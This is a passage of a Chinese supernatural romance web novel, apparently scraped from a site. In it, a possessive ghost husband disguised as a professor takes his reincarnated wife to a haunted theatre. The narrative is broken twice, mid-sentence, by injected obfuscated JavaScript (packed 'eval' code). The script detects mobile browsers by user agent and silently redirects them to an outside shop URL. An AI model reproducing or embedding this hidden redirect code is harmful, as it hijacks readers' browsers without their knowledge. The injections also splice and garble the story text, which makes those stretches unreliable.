沈渠合拢手掌,重新吸收掉那缕烟,惨叫连同画面一并消失。 他算到时间差不多了,穿衣服锁门下楼。 耳边,心心念念的声音越来越近。 他难耐地舔了下唇,眼中闪过一抹阴鸷,面无表情地想:如果真有那么一天……为了他们夫妻能够过上安生日子,他就只好瞒着妻子,把障碍彻底清除了。 23. 合格的丈夫 沙溪大学各个学院的建筑风格皆不同,力求最先限度展现出本院的特色,历史文化学院则是典型的中式美学,讲究“天人合一”的理念,人、风景、建筑相融合,呈现的效果十分和谐。 唯一一点,小径曲折繁琐,四通八达,且都铺着厚厚的鹅卵石,四周景致乍看毫无区别。若非有褚灵萱带路,许菱烟初来乍到,很容易就会从中迷失方向。 见许菱烟对环境很感兴趣,拿手机对着一棵古树连拍很多张照片,褚灵萱主动科普:“最初的一版设计稿,还是沈教授的曾祖父绘制的呢。今年这几栋教学楼又修缮了一回,同样参考了一部分沈教授的意见,这棵古树也是他找人移栽的。” 许菱烟面露讶然,暗叹自己对沈渠真的了解不够多,心中的探究欲悄悄滋生。 再一打量面前这棵树,她总觉似曾相识,跟去灵源寺时偶遇的那棵极像。要不是树干上挂着禁止触摸的牌子,她恐怕就凑近摸一摸,认真探究一番了。 褚灵萱:“这棵树早就死掉了,只留下一具躯壳。但不知道怎么的,移栽过来之后竟然重新焕发生机,今年春天,属它枝叶长得最繁茂。大家都说这是好兆头,特地挂了牌子,围上栅栏,好好保护着。” 听罢,许菱烟仰头再看这棵树,难免唏嘘:“枯木逢春,确实是个好兆头。” 两人沿着小径前行,几分钟后走到尽头,眼前如拨云见月般,终于得以瞧见教学楼的全貌。 许菱烟被典雅的中式建筑吸引,短暂的忘却来这儿的目的,举起手机又拍了一张照,顺便叮嘱褚灵萱赶快去忙她的事,不用陪着自己。 “我就在这儿等,”褚灵萱瞥一眼微信,然后给许菱烟指路,“你沿右边这条道往前走,一直走到尽头,就能看见主干道和通往校门的指示牌了,很醒目的。” “在这儿等?你不上楼吗?” “办公室已经锁了,教授说他马上就来。” 许菱烟应好,却没动身。 镜头转移,正对准教学楼大门的那一秒,一道翩然挺拔的人影突然闯入。 恰时风起,树影婆娑,沙沙作响。 刹那间,许菱烟听觉失灵,周遭所有的动静消失,只余下哐哐震动的心跳声。 她直勾勾盯着他款步走近,肤色泛起不自然的潮红,赶紧背手藏起手机,生怕被他发现她在偷拍。 从沈渠出现的那刻起,褚灵萱一改方才放松的状态,整个人肉眼可见的紧绷起来,怯怯地叫了一声沈教授,双手递上打印的文稿。 沈渠接过来,没着急翻开,先瞟向许菱烟,嘴角不经意爬上一抹浅笑:“什么时候到的,怎么不直接上楼?” “刚到,”许菱烟指了指褚灵萱,“我们一起。” 沈渠这才转头,瞧一眼褚灵萱手中拎着的袋子,图样底部印着八万春工作室的logo,他恍然扬眉,用眼神无声问她:这位就是你的卧底同学? 许菱烟经受不住他的揶揄,况且还有别人在旁边,她耳廓红了一圈儿,蚊子哼哼似地说:“你先跟她聊,我去车上等。” 沈渠取出钥匙,侧身告诉她停车场所在的位置。 许菱烟嗯嗯应着,视线顺着他手指的方向看过去,一不小心,指腹蹭过他的掌心。 两人俱体会到过电般的颤栗。 他抿了下唇,沉静地看着她,意味深长。而她赧得很,压根不敢当着别人的面儿和他有什么,连简单的对视也做不到,心脏突突个没完,仿佛下一秒就会从嗓子眼蹦出来。 她慢慢往一边挪了一步,拉开距离,垂头看脚下两人交缠的影子,咕哝:“车牌号是多少,我忘记了。” 沈渠不动声色地敛起贪念,把号码复述给她听,怕她记不住,特地发到微信上,叮嘱:“车里冷,记得打开空调暖风。” “嗯。”许菱烟抓起钥匙,逃也似地走了。 旁边一直努力降低存在感的褚灵萱,听见他们的对话之后满脸震惊,原以为是许菱烟的单相思,没想到两位竟然是真情侣。 苍天啊,她这算不算误打误撞打入导师家庭内部了?沈教授以后指导论文的时候,能不能看在她和许菱烟友好相处的份上,别再用恨不得吃人的眼神瞪她了? 她的小心肝真的遭受不住啊啊啊啊…… 脑中正在疯狂吐槽,褚灵萱脸上不敢表现出半分,特没骨气的冲沈渠露出讨饶的笑:“我是严格按照您的要求进行修改的,这一版论文,绝对不会再出低级错误了。” 沈渠无言,沉沉地凝视着她,眉宇间暗藏凶念。 褚灵萱没发现这层深意,直觉不妙,自己很有可能要挨批了。 她立即站得笔直,态度端正,作洗耳恭听状。 不远处传来汽车解锁的轻微声响,在空旷的停车场内回荡几圈才消散,沈渠内心翻涌的暗火也被轻易扑灭。 ……算了。 再忍一忍吧。 待会儿要跟妻子约会,不宜开杀戒。 万一让血腥气玷污美好的日子便糟了。 沈渠垂下眼,自然地掩起暴戾,开始翻阅手中的论文。 - 这是许菱烟第二次坐沈渠的车,跟记忆中的差别很大,坐垫全部换成暖棕色调的毛绒款式,后排一左一右各摆着动物玩偶。 后视镜上挂着一串香炉项链,侧扣可以打开,里面放有一颗檀香珠子,散发着幽幽的香味儿。下方的台面上还粘着一只莲花不倒翁,外观跟她家客厅里的琉璃制品很像。 营造出温馨的气氛不免令许菱烟恍惚,沈渠做这一切是不是为了讨她喜欢,不然这辆车怎么会在改造之后,每一处的装饰都正巧撞上她的审美点。 就连副驾驶的座椅也被他特地调过高度,足够让腰后的靠枕完美贴上她的腰部,舒服极了。 许菱烟享受沈渠这样熨帖的照顾。 他做事细致入微,又因为有良好的教养,使他不会跟异性交往时,将每一个举动都化为目的性明确的进攻。 他的一举一动,让她切实体会这份心意的同时,还不忘留给她充足的自由呼吸的空间,就像一场润物细无声的雨,不断滋养她干涸的内心。 许菱烟越来越觉得,或许感情真有命中注定一说。 自从相遇的那天起,她压根没办法不对他心动。 缓了缓心情,许菱烟打开空调,调至适中温度,瞥见两个座椅中间没关严的收纳盒,边沿露出一角嫣红的纸张,她看着眼熟,小心翼翼抽出来,果然是舞台剧的正式海报。 相较于最初阴森森、令人不适的中式惊悚,这一版喜庆很多。 海报以红金色调为主,左上角一束斜着照过来的金色日光,不偏不倚落在一对璧人身上,画师并没给两人设计具体的五官,留白恰好给了观者充足的想象空间。 红衣随风摇曳。 铺满地的花瓣。 灯笼、帷幔、喜烛等等与大婚相关的琐碎元素,将喜庆的氛围烘托的十分浓厚。 海报表面用了UV凸起工艺,还洒了一层金色闪光颗粒,使得大婚场面看起来更加华丽。 许菱烟被海报传达出的吉庆气氛感染,双眼弯成月牙,嘴巴里涌入一股蜜糖似的甜,心想,设计的真不错,待会儿去现场问一问工作人员,能否要一张留作纪念。 还在来回欣赏时,驾驶位的车门拉开,冬日寒风打着旋儿钻进来,沈渠拢着衣摆快速坐下,顺势带上门,生怕冻着许菱烟。 反倒是她看见他,有些意外:“这么快就看完论文了?” “嗯,她改的不错。” 凭心而论,沈渠真的不愿称赞别人,除妻子之外的生物全都无足轻重,与他无关,但这份虚与委蛇却是活人最具有代表性的特征,他再不爽也得照做。 许菱烟并没在意沈渠罕见的敷衍,闻言只为褚灵萱感到开心。她手上动作没停,沿着折痕将海报谨慎复原,塞回收纳盒里。 沈渠脑袋随之偏转一秒,视线穿透盖子,注视着那张海报愣神。 许菱烟没有发觉他的心不在焉,扭身系上安全带,“我们现在出发?” “不着急,”沈渠回神,拿出手机,“你饿不饿?先找家馆子填饱肚子吧。” 他早就闻到她身上的烤肠和酸奶味儿,感知到她胃部饥饿又贪婪的蠕动。 严格来说,他一直游荡在她的周围,无时无刻不在凝视她,所以了解的很清楚,她今天只在早饭吃了一颗鸡蛋,对于需要足够的食物来维持基本生命体征的活人而言,她这会儿应该迫切的想吃东西,否则会乏力心慌。 随后记起昨晚,许菱烟一个人躺在沙发上啃苹果,对着空气哀怨地叹:“好想吃陶德砂锅啊,想念我亲爱的蒜蓉虾仁、素三鲜、香辣鱿鱼丝、土豆煨牛腩、干锅鸡鹿茸菇……等我约完会,找个空儿把它们统统拿下!” 他被她鲜活的一面吸引、蛊惑,嘴角翘起不明显的弧度,立马搜索出最近一家店,假模假样地问:“想吃砂锅吗?” 许菱烟条件反射地咽下口水,明明很想点头,但却故作矜持:“万一错过开场怎么办?” “不会。这家店离剧院很近,步行只要五分钟,”沈渠温柔注视她,并不戳穿她的口是心非,主动把手机递过去,“瞧瞧有什么喜欢吃的,先下单。” 许菱烟下意识接了,接完一想,不对。 在科技发达的现代,手机已经成为人们头等重要的工具,纵使再亲密的关系,也无法做到轻易交给别人使用或者查看,可他递的很顺手,之后便专注地开车,好像不在乎她会不会看到什么不该看的消息。 这种不自觉的信赖,往往最戳人心。 许菱烟感应到愈发膨胀充盈的情绪,正悄然占据一整片胸膛,好一阵才被她压下去,重新将注意力转移到菜单上。 市区仅有几家门店,生意不分昼夜的火爆,许菱烟赶快预约上座位号,斟酌着点了几道,然后一板一眼的开始报菜名,让沈渠选。 思忖一两秒,他说:“干锅鸡鹿茸菇。” 许菱烟眼睛顿时亮了,“你也喜欢吃这道菜?” “我不挑食,”沈渠笑,“但不可否认,它确实味道不错。” 骗人的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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许菱烟忧愁地叹口气,没了食欲,放下筷子小口抿着温水。 剩下沈渠一个人也没吃多久。 他抽张纸巾擦拭嘴角,姿态说不出的优雅。 声线被鱿鱼丝辣到,有点沙哑:“走吗?” 许菱烟点头:“我还要去一趟洗手间。” 他没吱声,眼珠一转,觑向她的唇。 虽然覆在上头的亮晶晶的膏体没了,但却丝毫不影响美观。 那张唇红艳饱满,肉-感十足,轮廓格外精致。说话、吐息之间,稍微露出一节洁白贝齿、湿润的舌,馥郁呼吸如丝线般,在他身上纵横交错成一张柔情的网。 他情不自禁地舔了下嘴角,那股早就偃旗息鼓的食欲再度发作,尤其刚刚吃了一堆无法消化的食物,悉数堆积在身体内,压得他行动不便,也恶心的要命,几欲呕出来。 如果,妻子愿意亲亲他,他立马就能好起来了。 可…… 可,他们暂时不能。 全都怪那串可恶的珠子,让他们无法轻易靠近彼此。 他已经有很长一阵子没有搂着她入睡了,现下忍耐值已到了临界点,变得无比渴望她的气息,欲-念顺着血管流至身体每一处,诱使他癫狂,馋到骨头缝发痒,就快控制不住扑入她怀里讨个赏赐。 想必,妻子也同样想他想的要命。 沈渠又愤恨又委屈,一时之间百感交集,巴巴地瞅着许菱烟,盼望她早点发现异状,扔掉那串碍眼碍事的串珠。 这样一来,他们才能重新在一起,夜里她也能如愿钻入他的怀抱安眠。 许菱烟穿上外套,回头发现沈渠还坐在这儿,盯着她瞧个没完,眼神晦涩难懂。 她不解,伸手到他面前晃晃。 沈渠骤然回神,从容地摆出一张完美笑脸:“怎么?” 许菱烟好脾气地重复:“我说,我要顺道去一趟洗手间。” 哦哦,原来是这么一桩小事。 妻子总是格外在意他和他的情绪,连一桩小事也得说给他听。 其实,何必特地知会他,他对她从来都是无有不依。 况且,作为一个合格的丈夫,他必须理解并维护妻子的爱美之心。 沈渠起身,自觉拎起许菱烟的挎包,温柔道:“好。” 两人一起离开,沿着长廊缓步往直梯的方向走,洗手间就在同一片区域。 沈渠个头高,皮囊和气质都是万里挑一,杵在人堆里格外醒目。旁边的许菱烟更不用说,言笑晏晏,跟仙女下凡一样。两人并肩走在一起,宛如一幅精湛的画报,赏心悦目。 过路人难免被这一对璧人吸引视线,可刚看没一眼,便皱着眉头、捂住鼻子匆匆走开。 等到走出足够远,确认对方听不见了,其中一个中年男人才松开捂住口鼻的手,忍不住向朋友吐槽:“哇靠,那男的看起来挺体面,身上怎么有好大一股味儿……” 硬要形容,像极了小动物尸体在天热时所散发出的腐化恶臭,一嗅就令人作呕。 24. 赏赐 沈渠当然听得见那些非议,但他心无波澜,比起身边的人,其余所有都无关紧要。 他专注地看着她,聆听她的言语,那颗被黏稠腥膻尸液包裹的心脏扑腾一下,自主模仿着人类心动时的频率开始运作。 许菱烟无法忽视旁边这道过分炙热的目光,潮红从耳廓泛起,逐渐蔓延至脸颊,连底妆和腮红也掩盖不住。 因为太紧张,她走路差点顺拐,好像头顶正向外源源不断冒着被烧熟的浓烟。 瞅见前方洗手间的指示牌,许菱烟如获大释般,从沈渠手里抢过自己的挎包,急慌慌往前走了几步,突然想起什么,又退回他面前,瓮声瓮气说:“你在这儿等一会,我很快回来。” 沈渠依言坐在附近的长椅上。 两人之间忽而变成一高一低的身高差距,他仰视着她,温柔的目光中掺杂着几分滚热,“用不用我帮你保管串珠,木制品沾水会发霉的。” 她被他清爽文雅的笑颜蛊到,刹那间脑袋里什么想法都没了,只剩下一个表情扭曲的小人儿无声尖叫:美色误人啊!! 许菱烟认为串珠很有灵性,一直不离身地戴着,但一码事归一码事,她实在没办法拒绝他。 毕竟这句话听起来不像简单的帮助,更像他表忠心的隐喻,再配上他并没有刻意讨巧却处处透着下位者可怜气的注视,她的心脏瞬间化成一滩水,痛快摘了串珠交给他。 然后头重脚轻地走进洗手间,拧开水龙头,不断用冷水淋着双手,反复深呼吸,好半天才冷静下来。 一抬头,对上镜子里的一张脸,媚眼如丝,娇羞妩媚,许菱烟被唬一跳,差点没认住自己。 难怪人家都说,陷入恋爱中的人非常容易辨别,情绪全都写在脸上了,能看不出来嘛。 许菱烟傻里傻气地乐呵会儿,直到听见身后隔间门开关,有人走近的响动,她立马恢复常态,从挎包里取出东西补妆。 几分钟后再出去,长椅上空无一人。 许菱烟纳闷的在附近转了一圈儿,仍然没找见沈渠,正打算给他去个电话,忽然听见身后响起一道格外有质感的磁性嗓音:“菱烟。” 循声转头,她猝不及防地撞上一束娇艳欲滴的玫瑰,香味儿扑鼻。 许菱烟怔愣一下,抬起头,越过花朵与沈渠对视。 他第一次搞浪漫,不熟练是其次。 因为太紧张,双唇轻轻颤抖,呼吸急促,笑得也没那么自然。 踌躇半天,干巴巴的又唤她一声:“菱烟。” 她被他这副青涩的模样逗乐,也因此心潮澎湃,揶揄道:“你叫魂呢。” 沈渠抿一下唇,难为情说:“今天是我们第一次约会,我的错,很多事准备的不周全,但愿没影响你的体验感……给喜欢的对象送花,据说是约会必备流程,所以我也给你买了一束,还希望你能喜欢。” 许菱烟欣然接受他的心意,小心翼翼拨弄几下花瓣,好奇:“你从哪儿买的?” “扶梯边有个卖花的门店,刚来时我就注意到了。” 许菱烟扬眉,心中小有得意地念叨,原来他对她是早有预谋呐。 恰时,电梯发出叮得一响。 沈渠及时挡住即将关闭的门,侧身让许菱烟先进,借用摁下按钮的动作,挡去他因为剖白内心想法而露出的扭捏反应,可通红的耳根却出卖了他的真实情绪。 许菱烟嘴巴甜滋滋的,笑容满面,得劲儿的像打了胜仗的将军,捧着偌大的花束大摇大摆走出电梯,坦然接受行人的注目礼,径直穿过人潮,和沈渠一起离开商场。 等到了人流量稍小一些的地方,沈渠主动接过花束,护着许菱烟去走人行道内侧。 冬季的夜间格外萧条,没了广场舞和各种各样的小摊贩,地面小股旋风卷着枯叶不知道要飘香何方。 整条街上放眼望去一片空荡,衬得他们这对依偎的身影,莫名增添几分惺惺相惜的宿命感。 许菱烟被风吹得脊背阴冷,长发张牙舞爪,糊了满脸。 她费劲巴拉地拨开,裹紧外套,肩膀止不住哆嗦,唇也发白,下巴不受控地颤,一个音也吐不出口。 见状,沈渠自发走到前面挡风。 “马上到了。”他说,领她拐入通往剧院后门的巷子。 作为土生土长的泗河市人,许菱烟儿时也曾和父母来大剧院看过演出,不过那都是久远的事情了,她印象模糊,所以记不得彼时剧院附近也如此寂然么。 分明处于市中心,可四周夜色黏稠寒凉,一点儿声响都没有,静得可怖。 不仅如此,她的第六感作祟,隐约觉得身后有什么东西如影随形,寒风如有实质,一下又一下舔舐着她的脸颊。 这种古怪的错觉令她鸡皮疙瘩直冒。 正要往后瞧,沈渠先一步拉开门,很有绅士风度的邀请她入内。 剧院内开着暖风,滚滚热浪袭来,驱散许菱烟一路而来沾染的寒气,那股毛骨悚然的惊惧感立马消失,整个人也放松了。 她对他说声谢谢,率先走进去,没发觉攀在肩膀上的雾条儿轻啄一口她面颊之后,恋恋不舍地钻回沈渠的影子里。 沈渠面皮上仍挂着笑,眼底死水一般,毫无生机。 他紧跟着她的步伐,背后沉重的安全门徐徐关阖,夜幕仿若轻纱随之从两侧合拢,将这方天地彻底在市区中抹去。 堙入某个不可言说的神秘地界。 许菱烟无从得知异状的悄然发生,兀自沉浸在即将观看舞台剧的激动中。 沈渠走在前头带路,实际上又存在于四面八方,他始终暗中注视着她,不自主的随她的笑而笑,脚边的影子里有一团不易被发现的漆黑也跟着疯狂扭动,全靠他狠狠压抑着才没扑过去缠着她要亲、要抱。 没办法。他实在太痴迷于她,这份情愫历经千年,早已深入魂魄,随时随地发作,注定得不到满足。 如果有朝一日,妻子把他的尸骨挖出来,磨成粉,装入器皿中,制成项链日日夜夜不离身,让他能够贴着她的肌肤,亲密无间地感受她每一寸温热的肌肤。 或者,干脆诱骗她吞下他,让他得以枕着她的五脏六腑安眠,以这种方式永远相伴。 沈渠越想越兴奋,一对瞳仁快速收缩震颤,迸发出摄人的红光。 他低头,死死咬住手指关节,避免弄出诡谲的动静惊扰妻子,一遍又一遍暗自宽慰:不急,不急,不急。就快了。等他再长一长,便有能力迎来和她长相厮守的机会了。 通往楼上的电梯正在维修中,所幸二楼很近,迈不了几级台阶,压根不累。只是楼上没开暖气,推开安全通道的铁门,漫长走廊冷如冰窖。 许菱烟像一朵遭遇寒潮应激蜷缩的花儿,缩起肩膀,嗖得一下躲到沈渠身后。 他人高马大,将她的视野彻底遮住,因而她没瞧见像人的肠道一样疯狂蠕动的墙壁,就在她走进这层楼的刹那,陷入蹊跷的静止。 可生命却没有消失,无形之中诞生出无数双眼睛,暗戳戳凝视着她,充满探究、审视,以及……与食欲相关的渴求。 只不过,迫于沈渠的震慑,没谁敢放肆。 气流波动不及一秒也便静止。 沈渠松开牙关,将咬出血的那只手揣入口袋掩藏,扭曲的心态逐渐平复。他在一扇槐木门前停下脚步,说:“到了。” 出于职业敏感,许菱烟率先注意到这扇门的用料,心底不解。 槐木在民间属于“不祥之木”,既能作为承载阴气的容器,也是阴阳的媒介,通常被称为“木中之鬼”,多用于坟地、棺椁……师父一直讲说,从事这行必须懂得避谶,跟她反复提及,桑、柳、杨并列为不宜栽种在房前屋后,更不适合制成物件戴在活人身上1。 大剧院作为追求高雅、祥和文化氛围的公共文化场所,怎么会选带有如此民宿禁忌的木材? 许菱烟狐疑地蹙起眉。 这点微妙变化被沈渠捕捉,他不以为意,扬手轻拍她肩膀,衣袖带起的小股旋风,蒙住她的视线。 不及一秒的怔愣后,许菱烟再抬头,疑惑荡然无存。 这扇门的用料,在她眼中变得稀松平常,与平时见的其他木材没有区别。 她被上方发着光的VIP包间牌子晃到眼睛,受宠若惊:“怎么是贵宾室,我们不坐观众席吗?” 沈渠笑笑:“别忘了,小沈可是你的忠实粉丝。他一早就给工作人员打过招呼,专门给你调出一间VIP包间,视野开阔且正对舞台中央,还免了你去前台排队,直接走内部人员专用通道。我这算沾你的光。” 许菱烟恍然大悟,难怪刚才一路走来没看见其他人,环境也阒寂,她还误以为这部舞台剧没有想象中受欢迎。 但平白接受人家好意真挺难为情的,许菱烟想着,还是应该当面道声谢,哪怕只说几句客套话,表一表心意也可。 于是提议:“趁演出还没开始,不如,我们先去见见他?” “我本来也是这么计划的,但他回说今天首演事情多,很难抽身见上一面,托我照顾好你。”顿了一下,沈渠意味深长道:“希望我今天的表现,算得上圆满完成他的交代。” “……谁知道呢,这可不好评价。” 许菱烟嘴角跃然扬起,故作娇嗔地推开他,先进入房间。 沈渠紧随其后而来,反手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17124473|195586||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 关上门,脱下外衣,跟许菱烟的挂在一起。 那束玫瑰在他手中待久了,被浓烈的尸气熏坏,朵瓣褪色发蔫儿。 他随便扔到门旁的矮几上,大步流星地来到偌大的玻璃前,模仿许菱烟的姿势贴上去,往楼下张望,“在看什么?” 许菱烟慨叹:“好多人。” 她是真没想到会有这么的观众,还没开场便座无虚席,个个儿面朝前方,身板挺得笔直,连个说小话的人都没有,气氛十分专注。 但凡换成学生时代,待在大礼堂听校领导演讲的场景,台上的人肯定要感动的一把鼻涕一把泪。 许菱烟站得高,俯视下方,看不清其中任何一张脸,幻觉人们像极了木格子里分布齐整的豆腐块,盯着黑黢黢的后脑勺看久了,竟还头晕目眩。 恰巧广播声响起,提醒观众朋友们注意观看纪律,全程禁止拍照摄像等一系列行为,把电子设备静音,以免干扰演出。 许菱烟便拉着沈渠落座,将手机调整至飞行模式,放到铺着白布的方桌上,意外瞧见那儿还摆着四盘小吃。 食材并不常见,甚至说,格外古怪。 没有烹煮的冷碎肉,下方又压着一大块完整带皮猪肉,血丝清晰可见。两颗冒着腥气的生鸡蛋。未去壳的坚果。没有精细处理、看不出具体品种的半截禽类1。 方桌前泼了一大片酒,打湿地面,反射出微弱的光。 莫名其妙的,许菱烟心头涌入一丝熟悉且怪僻的滋味。 偏偏她被这股酒臭味儿熏得头脑不太清楚,看小吃就只是小吃,思考不出其他的。 甚至开始关注一些有的没的。 比如,盘子里的食物应该放了有一阵儿,接着真就上手摸了摸,果然皮肉都已经僵硬了。供奉的人,心并不诚恳,亦或者对他带有轻蔑,迫于某种压力不得不继续摆上贡品。 一时之间,她竟有点不爽:“他们就用这些东西打发你?” 声落,沈渠头颅沉沉耷拉下去,脖颈拉长成一条细线,连接脑袋与躯干。剩余的皮面迅速干瘪,宛如一张轻飘飘的纸,自动折叠起来落在椅子上。 腐败气即刻充斥整间屋子,那束玫瑰以肉眼可见的速度彻底凋败,花瓣簌簌落了一地。 而地面的阴影中,有什么东西正在拼命扭动,渐渐从明暗的交界处钻出一双胳膊,不依不饶的从后方缠住许菱烟一把细腰,手掌十指相扣,压在她小腹上,成结似的把人捆住。 很快,烟雾聚拢成完整的人形,身体以诡异的角度弯曲,成功将脑袋靠上她的大腿。 仍旧是白底泛青紫色的皮,血红唇瓣,面貌比上回更加清晰,俊朗斯文,又透着几分毫无人气的妖冶。 那双已经痊愈的狭长眼睛睁到最大,颗粒大的瞳仁正向上翻起,死死盯住她,阴嗖嗖地呢喃:“清如。清如。清如……” “为夫念你许久了,这些日子,你也在念着我对不对?都怪那串该死的珠子,害得我们夫妻连片刻的欢愉都没了……无妨,为夫已然处理妥善,以后再无阻碍,你我尽可无所顾忌的相处。” “方才你说什么来着?哦,记起来了……那些人,沈家那些人……”他沿着她身体往上攀爬,表情痴迷又虔诚,含住她下唇,收着力,小心翼翼地咂了一口。 软绵的触感,香甜的滋味,顿时让他亢奋到浓雾四溢,险些没能维持住人形。 他额头抵着她的,合眼平复一番,再度开口:“我知你心疼我,但无需过分担忧。沈家人心不诚,却妄图不劳而获、一步登天,早晚有他们苦头吃。倒是你,跟着我受委屈了,这些贡品里面没你想吃的是不是?我这就去唤它们再拿些新鲜的来……” 甫一动身,胳膊突然被扯住。 很轻很轻的力道,却顺利制止住他。 他一怔,低头看见妻子一双柔夷,纤细白皙,饱满圆润的指尖染了渐变粉的甲油,漂亮极了。 此时此刻,这双手握着他,久久没松开。 他仿佛得到了天大的赏赐,惊喜交集地跪下去,整张脸埋入她充满芬香的掌心,痴狂蹭着、嗅着、吻着,口中呻-吟不止:“清如,你疼我……求你,疼疼我吧……” 似是被他散发出的气息蛊惑,许菱烟终于从僵直的状态中缓过一些,头低下来,眼神仍然空洞涣散,像个依照着设定行事的木偶人,肢体一卡一卡的迟钝运作。 他乖觉地跪直,仰头凝睇她,静静等待。 直至温热掌心覆在头顶,生疏地摸了摸,他立即舒服到浑身颤抖不止,发出一声餍足地喟叹:“妻啊……” 她没应承这声称呼,往舞台的方向稍扬下巴。 演出开始了。 25. 她爱我 近三个小时的表演,将这段凄美的爱完全呈现给观者。 舞台上两道身影彼此追随,如同山间翩然起舞的蛱蝶,时时刻刻都不愿分开,可惜最后一把剑贯穿心口,有情人相拥葬爱。 许菱烟看得入迷,仿佛灵魂出窍一般,进入故事亲历一场刻骨铭心的爱恋,甚至在那把剑刺穿两人的时候,她也忽觉心口一疼,轻轻嘶了一声。 再抬头,故事被推上高-潮的同时戛然而止,将观众的情绪吊在不上不下的地方,久久没办法回神。 等意识到什么,她伸手摸一把脸,水淋淋的,这才发现自己早已潸然泪下。 旁边恰时递来一张面巾纸。 许菱烟莫名觉得这只手似曾相识,顺势看过去,不期然撞入沈渠含情脉脉的眼眸。 刹那间,她脑海里闪现过另一双眼睛,跟沈渠很像,细究又没那么像,带来的感受也比沈渠更令她熟稔、强烈。 不同的两双眼睛慢慢在她面前重叠,最终彻底变成一双。 她分辨不清他们究竟是不是一个人,只能确定这份浓到溢出、让自己有些许抗拒的感情一模一样,似乎很久很久以前,他就这样注视着她了。 ……可能是看戏看得鬼迷心窍了吧。 许菱烟犯嘀咕,接过沈渠给的纸巾,小心覆在面颊上吸掉水珠,免得弄花妆容。 几分钟的功夫,一楼的观众就都离开了。 舞台厚重的帷幕重新降落,光屑在灯下纷飞,随着砰得一声响,所有灯都关了,剧院内顿时黑得伸手不见五指,一片寂静,仿若从没人来办过演出。 庆幸离得够远,许菱烟看不见蒙尘的座位,以及破败不堪,长满绿色植物的舞台、墙壁。也庆幸玻璃挡得住气味,否则她肯定能闻见一楼充斥着刺鼻的腥臭。 再有下一回…… 沈渠想,就不找水鬼了。 它们的痕迹太明显,味道也太大,容易惊扰妻子。 许菱烟脑袋里全是刚才的情节,代入感太深,暂时没办法抽离故事凄凉的氛围。 沈渠问她走不走,她也没回答。 把湿掉的纸巾揉成团塞进口袋,许菱烟抽抽噎噎地吸着鼻子,垂着头、垮着肩过去取衣服,背影看起来很颓唐。 沈渠端详妻子梨花带雨的模样,像只羸弱的、只能依附他生活的小动物。 那么漂亮、那么可怜,足以勾起他的保护欲和最阴暗的贪恋。他恨不能抱紧她,咬一口她瓷白柔软脸颊肉,把她融入自己身体里。 不过无妨,一想到今晚的目的已经达到,他就还忍得住。 他知道她此刻的泪水为他、为他们的爱情而流;知道她撂下狠话却还是忍不住对他心软;知道她哪怕转世轮回,失去之前所有的记忆,仍然本能的被他吸引,对他倾心。 不管嘴上怎么否认,下意识的反应总不会骗人。 她对他,从来都有真情。 参破这一点,压在他背上千年之久的怨气,终于得以宽松一些。 而最隐晦、最沉重的地方则被狠狠戳中,四肢如电流穿过般亢奋、颤栗,身体内有道声音开始汹涌叫嚣:清如爱我。 清如是爱我的。 她爱我。 她爱我她爱我。 她爱我她爱我她爱我她爱我…… 彼时她发的毒誓压根不能当真,只因她正与他怄气,怒火上头口不择言罢了。 寻常人家柴米油盐酱醋茶,琐碎事一多,夫妻之间总会有意见不合、吵吵闹闹的时候。 更甚者大打出手,或收拾铺盖回娘家小住几天,最终还是无法割舍这份感情,重归于好。 而他家妻子的气性格外大一些,动了刀剑见了血光,也怪他从前不够开窍,不清楚双方有分歧时该先哄妻子开心,是非对错并不重要。 他一时倔犟,不肯低头服软,平白蹉跎了与她相爱相守的岁月,导致误会一直持续到现在。 不过不要紧,一切还有挽回的余地。 他缓缓呵出一口气,视线再一次落在她脸上,不错目地盯着瞧。 房间内空调嗡嗡作响,但受某个因素影响,体感温度始终不高,许菱烟冻得哆嗦,眼泪失控的往下掉。 她从包里取出手帕纸,照着气垫盖上的镜子,一点点吸掉水痕。 沈渠眼神一暗,忮忌心大发,盯死那张沾满妻子眼泪的纸,努力克制住取而代之的念头,喉结上下反复滚了又滚,如愿挤出沙哑的声线:“有这么感人吗?” “有啊,”许菱烟瘪嘴,瓮声瓮气地说,“现实已经够苦了,我还以为,会在故事里给他们一个好的结局。” “原本确实打算写成大团圆的结尾,后来他们开会商讨时又觉得这样太俗套,反倒没办法体现这场爱的刻骨铭心,最终还是决定尊重原版。” 他看她哭红的眼,于心不忍:“死亡并不代表结束,或许是另一种开始。有情人就算转世轮回也能找得到彼此再续前缘,说不定,他们下一辈子就又在一起了呢。” 许菱烟定定地看着他,没吱声,几秒后破涕为笑。 沈渠的表情从不解变成尴尬,“我说的不对吗?” “对呀。很对,非常对。” 许菱烟的眼睛被泪水冲刷的晶亮,脸哭得有点肿,笑起来有种不谙世事的天真感,“只是,这样的话从你嘴里说出来,不知道为什么,就感觉,有点可爱。” “可爱?”沈渠紧了紧眉,不懂这个词跟他有什么关系。 许菱烟却很笃定地点头,瞥他一眼,意味深长地:“没想到,你竟然是个纯爱战神来的。” 沈渠更糊涂了。 他完全听不懂妻子在说什么,默默记在心里,私下再查。 临走前,许菱烟还惦记着见一面沈绍元。 沈渠没表态,当着她的面儿给他打了一通电话。 沈绍元很快接听,背景音繁复嘈杂,除了听不清的人声,还有滋滋啦啦的电流音,不知道是什么设备在响,挺刺耳的。 沈渠把手机拿远一些,开了免提,问:“你忙完没?” “没有!唉,今晚又得熬穿了……”回答沈渠的间隙,他还不忘提醒工作人员别把演出服放错地方,又指挥人搬运道具,语气火急火燎的。 闻言,许菱烟生怕打搅沈绍元工作,无声地冲沈渠作口型,让他快挂电话。 沈渠照做,说:“下次吧,以后有的是机会见面,先等他忙过这一阵。” 许菱烟欣然同意。 